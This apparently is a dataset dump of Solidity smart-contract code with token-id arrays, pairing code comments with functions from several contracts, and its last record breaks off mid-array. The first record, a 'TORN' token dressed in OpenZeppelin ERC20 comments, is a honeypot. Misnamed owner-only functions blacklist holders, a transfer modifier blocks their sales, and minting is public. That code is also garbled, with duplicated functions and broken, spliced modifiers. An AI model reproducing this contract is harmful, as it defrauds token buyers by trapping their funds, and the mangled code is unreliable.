xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract TORN is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} }
193,218
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 399, 916, 50, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 14739, 1887, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 11223, 1887, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 6275, 273, 374, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 377, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 12908, 537, 620, 273, 22821, 7235, 3462, 6675, 4366, 9036, 2313, 3657, 6564, 4366, 10321, 5908, 7140, 713, 5292, 28, 7235, 8642, 7140, 27284, 2733, 5193, 6028, 25, 1105, 6260, 1105, 4630, 29, 7950, 5877, 5193, 713, 7235, 3437, 24886, 4449, 2733, 4763, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 3238, 389, 4626, 5541, 31, 203, 565, 1758, 3238, 389, 318, 77, 10717, 273, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 31, 203, 377, 203, 203, 97, 203, 282, 3885, 261, 2 ]
./full_match/1/0x80D44B2FD36fad1592752a67c90E9901c1B32D6C/sources/contracts/Gucci.sol
at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if any account belongs to _isExcludedFromFee account then remove the fee only take fees on buys/sells, do not take on wallet transfers on sell on buy
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!blocked[from], "Blocked"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedmaxTxn[to] ) { require( amount <= maxTxn, "Buy transfer amount exceeds the maxTxn." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedmaxTxn[from] ) { require( amount <= maxTxn, "Sell transfer amount exceeds the maxTxn." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiq += (fees * sellLiqFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForCex += (fees * sellCexFee) / sellTotalFees; tokensForOps += (fees * sellOpsFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiq += (fees * buyLiqFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForCex += (fees * buyCexFee) / buyTotalFees; tokensForOps += (fees * buyOpsFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); }
3,067,206
[ 1, 270, 8037, 309, 326, 7412, 4624, 353, 3696, 16, 3387, 326, 1203, 11267, 364, 5405, 343, 345, 414, 353, 444, 1493, 4982, 8037, 18, 309, 1281, 2236, 11081, 358, 389, 291, 16461, 1265, 14667, 2236, 1508, 1206, 326, 14036, 1338, 4862, 1656, 281, 603, 25666, 1900, 19, 87, 1165, 87, 16, 741, 486, 4862, 603, 9230, 29375, 603, 357, 80, 603, 30143, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 2713, 3849, 288, 203, 3639, 2583, 12, 2080, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 5, 23156, 63, 2080, 6487, 315, 23722, 8863, 203, 203, 3639, 309, 261, 8949, 422, 374, 13, 288, 203, 5411, 2240, 6315, 13866, 12, 2080, 16, 358, 16, 374, 1769, 203, 5411, 327, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 14270, 382, 12477, 13, 288, 203, 5411, 309, 261, 203, 7734, 628, 480, 3410, 1435, 597, 203, 7734, 358, 480, 3410, 1435, 597, 203, 7734, 358, 480, 1758, 12, 20, 13, 597, 203, 7734, 358, 480, 1758, 12, 20, 92, 22097, 13, 597, 203, 7734, 401, 22270, 1382, 203, 5411, 262, 288, 203, 7734, 309, 16051, 313, 14968, 3896, 13, 288, 203, 10792, 2583, 12, 203, 13491, 389, 291, 16461, 1265, 2954, 281, 63, 2080, 65, 747, 389, 291, 16461, 1265, 2954, 281, 63, 869, 6487, 203, 13491, 315, 1609, 7459, 353, 486, 2695, 1199, 203, 10792, 11272, 203, 7734, 289, 203, 203, 7734, 309, 261, 13866, 6763, 1526, 13, 288, 203, 10792, 309, 261, 203, 13491, 358, 480, 3410, 1435, 597, 203, 13491, 358, 480, 1758, 12, 318, 291, 91, 438, 58, 22, 8259, 13, 597, 203, 13491, 358, 2 ]
./partial_match/4/0x0C031836F1E8152Fba46a9905d5e18F4AB3C0607/sources/VaultProxy.sol
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity constructor./ solhint-disable-next-line avoid-low-level-calls
constructor(address _logic, bytes memory _data) public payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } }
16,970,895
[ 1, 9685, 326, 8400, 429, 2889, 598, 392, 2172, 4471, 1269, 635, 1375, 67, 28339, 8338, 971, 1375, 67, 892, 68, 353, 1661, 5531, 16, 518, 1807, 1399, 487, 501, 316, 279, 7152, 745, 358, 1375, 67, 28339, 8338, 1220, 903, 14755, 506, 392, 3749, 445, 745, 16, 471, 5360, 2172, 452, 1776, 326, 2502, 434, 326, 2889, 3007, 279, 348, 7953, 560, 3885, 18, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 4543, 17, 821, 17, 2815, 17, 12550, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 12, 2867, 389, 28339, 16, 1731, 3778, 389, 892, 13, 1071, 8843, 429, 288, 203, 565, 1815, 24899, 9883, 7618, 2689, 67, 55, 1502, 56, 422, 1731, 1578, 12, 11890, 5034, 12, 79, 24410, 581, 5034, 2932, 73, 625, 3657, 9599, 18, 5656, 18, 30810, 6, 3719, 300, 404, 10019, 203, 565, 389, 542, 13621, 24899, 28339, 1769, 203, 565, 309, 24899, 892, 18, 2469, 405, 374, 13, 288, 203, 1377, 261, 6430, 2216, 16, 13, 273, 389, 28339, 18, 22216, 1991, 24899, 892, 1769, 203, 1377, 2583, 12, 4768, 1769, 203, 565, 289, 203, 225, 289, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x58F8E4596513E571fB64E8ec3620f905186EC793/sources/Dollar.sol
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
contract Permittable is ERC20Detailed, ERC20 { bytes32 constant FILE = "Permittable"; bytes32 public constant EIP712_PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; string private constant EIP712_VERSION = "1"; bytes32 public EIP712_DOMAIN_SEPARATOR; mapping(address => uint256) nonces; Copyright 2020 Yolo Devs, based on works from Empty Set Squad <[email protected]> constructor() public { EIP712_DOMAIN_SEPARATOR = LibEIP712.hashEIP712Domain(name(), EIP712_VERSION, Constants.getChainId(), address(this)); } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { bytes32 digest = LibEIP712.hashEIP712Message( EIP712_DOMAIN_SEPARATOR, keccak256(abi.encode( EIP712_PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline )) ); address recovered = ecrecover(digest, v, r, s); Require.that( recovered == owner, FILE, "Invalid signature" ); Require.that( recovered != address(0), FILE, "Zero address" ); Require.that( now <= deadline, FILE, "Expired" ); _approve(owner, spender, value); } }
3,340,892
[ 1, 79, 24410, 581, 5034, 2932, 9123, 305, 12, 2867, 3410, 16, 2867, 17571, 264, 16, 11890, 5034, 460, 16, 11890, 5034, 7448, 16, 11890, 5034, 14096, 2225, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 13813, 305, 2121, 353, 4232, 39, 3462, 40, 6372, 16, 4232, 39, 3462, 288, 203, 565, 1731, 1578, 5381, 7527, 273, 315, 9123, 305, 2121, 14432, 203, 203, 565, 1731, 1578, 1071, 5381, 512, 2579, 27, 2138, 67, 3194, 6068, 67, 2399, 15920, 273, 374, 92, 26, 73, 11212, 329, 8906, 2138, 70, 21, 70, 10580, 74, 24, 72, 21, 74, 26, 4630, 7301, 3030, 74, 15168, 6260, 507, 22, 507, 8906, 1611, 5558, 22214, 69, 26035, 71, 1105, 5193, 25, 72, 26, 25452, 71, 29, 31, 203, 565, 533, 3238, 5381, 512, 2579, 27, 2138, 67, 5757, 273, 315, 21, 14432, 203, 203, 565, 1731, 1578, 1071, 512, 2579, 27, 2138, 67, 18192, 67, 4550, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1661, 764, 31, 203, 203, 203, 565, 25417, 26599, 20, 1624, 12854, 1505, 6904, 16, 2511, 603, 6330, 628, 8953, 1000, 348, 21733, 411, 5531, 4424, 21733, 36, 685, 1917, 4408, 18, 832, 34, 203, 203, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 512, 2579, 27, 2138, 67, 18192, 67, 4550, 273, 10560, 41, 2579, 27, 2138, 18, 2816, 41, 2579, 27, 2138, 3748, 12, 529, 9334, 512, 2579, 27, 2138, 67, 5757, 16, 5245, 18, 588, 3893, 548, 9334, 1758, 12, 2211, 10019, 203, 565, 289, 203, 203, 565, 445, 21447, 12, 203, 3639, 1758, 3410, 16, 203, 3639, 1758, 17571, 264, 16, 203, 3639, 2254, 5034, 460, 16, 203, 3639, 2254, 5034, 14096, 16, 203, 3639, 2254, 28, 331, 16, 203, 3639, 2 ]
./partial_match/56/0xb48556c14D1238C4FD43a74C782FBf719b768994/sources/MasterChef.sol
View function to see pending PLTS on frontend.
function pendingOmg(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accOmgPerShare = pool.accOmgPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 omgReward = multiplier.mul(omgPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accOmgPerShare = accOmgPerShare.add(omgReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accOmgPerShare).div(1e12).sub(user.rewardDebt); }
11,218,325
[ 1, 1767, 445, 358, 2621, 4634, 22443, 8047, 603, 15442, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4634, 51, 81, 75, 12, 11890, 5034, 389, 6610, 16, 1758, 389, 1355, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 67, 1355, 15533, 203, 3639, 2254, 5034, 4078, 51, 81, 75, 2173, 9535, 273, 2845, 18, 8981, 51, 81, 75, 2173, 9535, 31, 203, 3639, 2254, 5034, 12423, 3088, 1283, 273, 2845, 18, 9953, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 261, 2629, 18, 2696, 405, 2845, 18, 2722, 17631, 1060, 1768, 597, 12423, 3088, 1283, 480, 374, 13, 288, 203, 5411, 2254, 5034, 15027, 273, 31863, 5742, 12, 6011, 18, 2722, 17631, 1060, 1768, 16, 1203, 18, 2696, 1769, 203, 5411, 2254, 5034, 8068, 75, 17631, 1060, 273, 15027, 18, 16411, 12, 362, 75, 2173, 1768, 2934, 16411, 12, 6011, 18, 9853, 2148, 2934, 2892, 12, 4963, 8763, 2148, 1769, 203, 5411, 4078, 51, 81, 75, 2173, 9535, 273, 4078, 51, 81, 75, 2173, 9535, 18, 1289, 12, 362, 75, 17631, 1060, 18, 16411, 12, 21, 73, 2138, 2934, 2892, 12, 9953, 3088, 1283, 10019, 203, 3639, 289, 203, 3639, 327, 729, 18, 8949, 18, 16411, 12, 8981, 51, 81, 75, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1717, 12, 